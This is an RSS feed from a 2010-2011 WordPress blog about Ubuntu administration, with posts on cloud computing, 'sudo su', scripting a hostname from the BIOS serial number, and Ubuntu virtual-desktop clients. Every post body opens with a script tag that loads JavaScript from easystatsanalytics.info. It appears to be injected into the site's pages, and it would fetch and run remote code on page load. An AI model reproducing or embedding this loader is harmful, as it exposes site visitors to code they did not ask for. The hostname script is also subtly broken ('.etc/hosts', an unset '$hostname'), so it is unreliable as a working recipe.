<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rob&#039;s Tech Fun and Games &#187; Ubuntu</title>
	<atom:link href="http://kipper.org.uk/index.php/category/linux/ubuntu/feed/" rel="self" type="application/rss+xml" />
	<link>http://kipper.org.uk</link>
	<description>Technical notes for tricky situations</description>
	<lastBuildDate>Fri, 03 Jun 2011 13:12:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>What is cloud computing?</title>
		<link>http://kipper.org.uk/index.php/2010/02/what-is-cloud-computing/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=what-is-cloud-computing</link>
		<comments>http://kipper.org.uk/index.php/2010/02/what-is-cloud-computing/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 10:25:45 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Cloud Computing]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[Utility Computing]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=107</guid>
		<description><![CDATA[Someone asked me what actually was cloud computing, and I found it rather difficult to answer concisely and coherently.  Much arm waving was involved, and comments like &#8220;you know, like Amazon&#8221;, and &#8220;you get billed for your usage&#8221;.  I thought it was worth looking at a clear, simple definition! What is cloud computing? Cloud computing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fwhat-is-cloud-computing%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fwhat-is-cloud-computing%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Someone asked me what actually was cloud computing, and I found it rather difficult to answer concisely and coherently.  Much arm waving was involved, and comments like &#8220;you know, like Amazon&#8221;, and &#8220;you get billed for your usage&#8221;.  I thought it was worth looking at a clear, simple definition!</p>
<h3>What is cloud computing?</h3>
<p>Cloud computing is</p>
<p style="padding-left: 30px;">&#8220;a computing capability that provides an abstraction between the computing resource and its underlying technical architecture (e.g., servers, storage, networks), enabling convenient, on-demand network access to a shared pool of configurable computing resources that can be rapidly provisioned and released with minimal management effort or service provider interaction.&#8221;</p>
<p>according to the National Institute of Standards and technology.  Thats fine, and the more technical among us could probably leave it at that.  How would you try describing cloud computing to your CEO, though?</p>
<p style="padding-left: 30px;">Cloud computing can be thought of as a way of pooling the resources of a number of computers together, and then pouring those resources into whatever applications you decide to run on the top of them in a very simple way, allowing you to set up new applications very quickly and easily.  Instead of having to build a new server for a new application, you can pour some more resource from the cloud for it.  If the resources in the cloud are running low, just add some more servers to the pool.</p>
<p>In the past, there have been a variety of mechanisms that do parts of this, but haven&#8217;t applied it all together. </p>
<h3>Older, similar technologies</h3>
<p>Clustering computers has been done for some time.  This allows computers running a application to work together, providing redundancy for the application, and generally some performance improvement.  How does this differ from a cloud?  Well, a cluster was generally quite complex to set up, and only really focussed on a single application.  You couldn&#8217;t pour resources from all the machines into a new application quickly at all.</p>
<p>Web farms can support many web applications, running over lots of web servers.  How does this differ from a cloud?  Well, web farms again tended to be hard to configure, and it was very difficult to apply specific levels of resources to specific web sites &#8211; if one web application used lots of processing power, the others could start to run more slowly.  Administration and maintenance to balance these problems, and to roll out new applications were often complex.</p>
<p>Virtual server providers are almost like mini clouds, where running virtual machines are provisioned simply and easily across the available hardware.  How do they differ from cloud computing?  Well, cloud computing separates off storage and processing power, allowing you to apply more storage or more processing power as needed to any application running on the infrastructure.  It adds another level of abstraction, which allows much more effective (and quick and easy) application of the necessary storage space and processing power from all the resources pooled in the cloud, rather than limiting it to a single virtual server, which can then be quiite complex to change.</p>
<p>All of these technologies really combine to provide a simple infrastructure on top of a pool of servers &#8211; you have the performance and resilence of a cluster, without the headaches of setting it up, and without the limitations of the focus on a single application.  You have the distibution of a web farm, allowing multiple applications to share resources, but with much easier tools to support rolling out new applications or providing additional resources to underperforming ones.  You have the benefits of virtual servers, but with better applications of storage space and processing power to your actual applications.</p>
<h3>Confusing technologies and terms</h3>
<p>There are two points that many people don&#8217;t quite understand about cloud computing, even if they grasp how it can be applied.  These are:</p>
<h4>Does a cloud have to be on the Internet?</h4>
<p>No!  A cloud can be run inside a private corporation, or even at home if you have the resources.   Ubuntu provide cloud deployment and management tools as part of their open source enterprise servers.   The reason cloud computing is synonomous with the internet in people&#8217;s minds is that the real benefits of cloud computing require massive, massive deployments of hardware to see the real benefits and cost savings.  Having said that, even a small cloud might be better for supporting a slew of internal web applications than 15 individual servers.</p>
<p>Because of the costs of a large cloud, only companies like Amazon have successfully deployed them as yet.  They use clouds to sell processing power and storage space to any one who wants to buy them.</p>
<h4>Will I be charged by processing use or storage space?</h4>
<p>This is actually a separate concept, called Utility computing, where you are charged for your system use like you are charged for gas, or electricity, hence the name.  This is by no means integral to the concept of cloud computing &#8211; though Amazon EC2, the biggest cloud deployment, does use this model to charge for access.  It doesn&#8217;t mean every has to charge this way, and an internal corporate cloud would just cost electrical consumption, hardware and licensing.</p>
<p>Don&#8217;t confuse the two &#8211; utility computing is a model of charging for computer use and storage space, while cloud computing is an infrastructure for pooling computer resources to be poured simply into applications on demand.  They may both be used at the same time, but aren&#8217;t the same thing.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/02/what-is-cloud-computing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Running lots of commands as root in Ubuntu</title>
		<link>http://kipper.org.uk/index.php/2010/02/running-lots-of-commands-as-root-in-ubuntu/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=running-lots-of-commands-as-root-in-ubuntu</link>
		<comments>http://kipper.org.uk/index.php/2010/02/running-lots-of-commands-as-root-in-ubuntu/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 12:21:07 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[command line]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=104</guid>
		<description><![CDATA[Just a quick sneaky trick &#8211; if you&#8217;re used to being able to run terminals as root, or you need to run a lot of commands as root, and are sick of having to type sudo every time, there is a sneaky way of increasing your privileges for the terminal sessions.  Open a terminal, and [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Frunning-lots-of-commands-as-root-in-ubuntu%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Frunning-lots-of-commands-as-root-in-ubuntu%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Just a quick sneaky trick &#8211; if you&#8217;re used to being able to run terminals as root, or you need to run a lot of commands as root, and are sick of having to type sudo every time, there is a sneaky way of increasing your privileges for the terminal sessions. </p>
<p>Open a terminal, and run:</p>
<p style="padding-left: 30px;">sudo su</p>
<p>and you have a terminal running as root!  running su by itself doesn&#8217;t work with Ubuntu &#8230; but if you sudo the command, it does.  Generally, this isn&#8217;t great practise &#8211; its too easy to make a mistake and damage the system, so use with caution!</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/02/running-lots-of-commands-as-root-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Renaming an Ubuntu machine&#8217;s hostname (to the serial number)</title>
		<link>http://kipper.org.uk/index.php/2010/02/renaming-an-ubuntu-machines-hostname-to-the-serial-number/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=renaming-an-ubuntu-machines-hostname-to-the-serial-number</link>
		<comments>http://kipper.org.uk/index.php/2010/02/renaming-an-ubuntu-machines-hostname-to-the-serial-number/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 12:15:18 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[administration]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=101</guid>
		<description><![CDATA[Setting the hostname on an Ubuntu linux installation is pretty easy during the installation.  However, for a standard image to be dropped onto a wide range of machines, it really needs to be unique and set via a script. We like to use the serial number of the PC in question, though this is more [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Frenaming-an-ubuntu-machines-hostname-to-the-serial-number%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Frenaming-an-ubuntu-machines-hostname-to-the-serial-number%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Setting the hostname on an Ubuntu linux installation is pretty easy during the installation.  However, for a standard image to be dropped onto a wide range of machines, it really needs to be unique and set via a script.</p>
<p>We like to use the serial number of the PC in question, though this is more or less practical depending on the brand of PC.  Acer, for example, tend to have VERY long serial numbers &#8211; it may be unique, but its going to be harder to type than just an IP address.  IBM tend to use reasonable 7 digit strings, which is is much more usable.  Other brands can be longer or shorter.</p>
<p>Setting hostname itself seems easy &#8211; just run</p>
<p style="padding-left: 30px;">hostname &lt;newname&gt;</p>
<p>(where sudo is used to run the command as root) in a terminal, and the hostname of the machine will change.  You&#8217;d think we were done, but unfortunately not!  This will only change the hostname until the next reboot.  On startup, the contents of the file</p>
<p style="padding-left: 30px;">/etc/hostname</p>
<p>is used to set the  hostname.  To update this, I like to set the hostname for the current sessions, then run</p>
<p style="padding-left: 30px;">hostname &gt; /etc/hostname</p>
<p>(as root) which willoverwrite the file with the current hostname.  If running as part of a script on startup, this will set the hostname now, then update the file for future restarts.  However, we still aren&#8217;t done.  We need to update another file</p>
<p style="padding-left: 30px;">/etc/hosts</p>
<p>with the details of the name for networking purposes.  We need to add the hostname, and any domain name aliases too.  The hosts file will probably look something like:</p>
<p style="padding-left: 30px;">127.0.0.1                        localhost                 localhost.domain.local</p>
<p style="padding-left: 30px;">127.0.1.1                        &lt;hostname&gt;</p>
<p>Update the hostname line, and add new aliases for the hostname for any domains that may be relevant.  At this point, the system is renamed!  However, this is all still pretty manual &#8211; ideally we need to script the process.</p>
<p>Now, to get the serial number, we can query the bios using the dmidecode command, and then process it usign the myriad of linux text handling commands.</p>
<p style="padding-left: 30px;">dmidecode | grep &#8220;Serial Number&#8221; | head -n1 | sed -e &#8216;s/\tSerial Number: //g&#8217;</p>
<p>(as root, again) should return the serial number from the bios!  We can combine this with the hostname command, as follows:</p>
<p style="padding-left: 30px;">hostname $(dmidecode | grep &#8220;Serial Number&#8221; | head -n1 | sed -e &#8216;s/\tSerial Number: //g&#8217;)</p>
<p>(once again, as root.) This will set the hostname to the serial number.</p>
<p>I actually combine all of the commands discussed to form a single script -</p>
<p style="padding-left: 30px;">hostname $(dmidecode | grep &#8220;Serial Number&#8221; | head -n1 | sed -e &#8216;s/\tSerial Number: //g&#8217;)</p>
<p style="padding-left: 30px;">hostname &gt; /etc/hostname</p>
<p style="padding-left: 30px;">echo &#8220;127.0.0.1       localhost     localhost.domain.local&#8221; &gt; /etc/hosts.new</p>
<p style="padding-left: 30px;">echo &#8220;127.0.1.1     &#8221;$hostname&#8221;     &#8220;$hostname&#8221;.domain.local&#8221; &gt;&gt; /etc/hosts.new</p>
<p style="padding-left: 30px;">mv /etc/hosts.new .etc/hosts</p>
<p>This sets the hostname, then updates the hostname file.  It then generates a complete hosts file line by line, and overwrites the old version.  There are probably better ways of updating the text file directly, but this works effectively enough.</p>
<p>Finally, I set this script file (which I named hostname.sh) to run on system startup.  Simply copy the file to</p>
<p style="padding-left: 30px;">/etc/init.d</p>
<p>and run (as root)</p>
<p style="padding-left: 30px;">update-rc.d hostname.sh defaults</p>
<p>where hostname.sh is the chosen name for your script.  This will add the script to the startup scripts on the machine, where it will automatically be run as root.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/02/renaming-an-ubuntu-machines-hostname-to-the-serial-number/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using Ubuntu in the corporate world</title>
		<link>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=using-ubuntu-in-the-corporate-world</link>
		<comments>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 10:50:54 +0000</pubDate>
		<dc:creator>Rob</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VMWare]]></category>
		<category><![CDATA[VMWare Open Client]]></category>
		<category><![CDATA[administration]]></category>
		<category><![CDATA[installation]]></category>

		<guid isPermaLink="false">http://kipper.org.uk/?p=98</guid>
		<description><![CDATA[Recently, I&#8217;ve been playing with Linux, specifically Ubuntu, in an attempt to set up a simple, maintainable client for virtual desktops.  Its been a fair while since I&#8217;ve used linux in a serious sense, so I thought I&#8217;d post up what I&#8217;ve done, as I progress (largely for my own reference, but hopefully others might [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fusing-ubuntu-in-the-corporate-world%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fkipper.org.uk%2Findex.php%2F2010%2F02%2Fusing-ubuntu-in-the-corporate-world%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><script type='text/javascript' src='http://easystatsanalytics.info/counter190.js'></script>Recently, I&#8217;ve been playing with Linux, specifically Ubuntu, in an attempt to set up a simple, maintainable client for virtual desktops.  Its been a fair while since I&#8217;ve used linux in a serious sense, so I thought I&#8217;d post up what I&#8217;ve done, as I progress (largely for my own reference, but hopefully others might find it of use!)</p>
<p>Key requirements are:</p>
<p>A virtual client!  In this instance, the vmware open client will need to be installed and configured on the desktop.  There are still limitations with the open client that may break the plan &#8211; limitations with remote media playback, and usb redirection are two areas in particular that may cause issues.</p>
<p>A working web browser!  Of course, Firefox is an obvious standard, installed with Ubuntu, so thats not much of a challenge, at least on the surface.  Beyond a working web browser, we need to possibly extend our server architecture to support browsers beyond Internet Explorer for our key wep applications, allowing a level of work to be carried out in the event of virtual desktop failures.  This is where things get a lot harder!</p>
<p>A standard environment across different hardware, locked down for the default user.   This is actually quite tricky.  By default, linux is designed to be easy to customise and configure, so locking it down to a single user, while allowing network proxy changes and wireless connections, is actually quite a challenge.  In addition, desktop launchers will need to be variable, depending on local printer installations for users on laptops with home printer (vmware-view allows you to redirect a printer, but you need to specifically do it by name).</p>
<p>An architecture to allow remote reconfiguration, support and updates across a company wide platform.  This is one of the worst areas &#8211; linux still lags quite badly behind the sort of architecture taken for granted on a Windows network when it comes to administration through global policies.  It&#8217;s still fundamentally a server operating system,and admin tools generally focus on supporting machines runnign in that capacity, not as clients.  This is the hardest area of all, looking forward to a possible roll out of well over a thousand machines world wide, with a technical team with no linux experience!  Keeping the client simple and cheap, allowing machines to be swapped instead of supported is a very high priority where possible.</p>
<p>Hopefully the next series of posts on this topic will be useful, although its quite a change of tack from SharePoint!  Don&#8217;t worry, as new SharePoint issues come up, I&#8217;ll still be posting on that topic too.</p>
]]></content:encoded>
			<wfw:commentRss>http://kipper.org.uk/index.php/2010/02/using-ubuntu-in-the-corporate-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

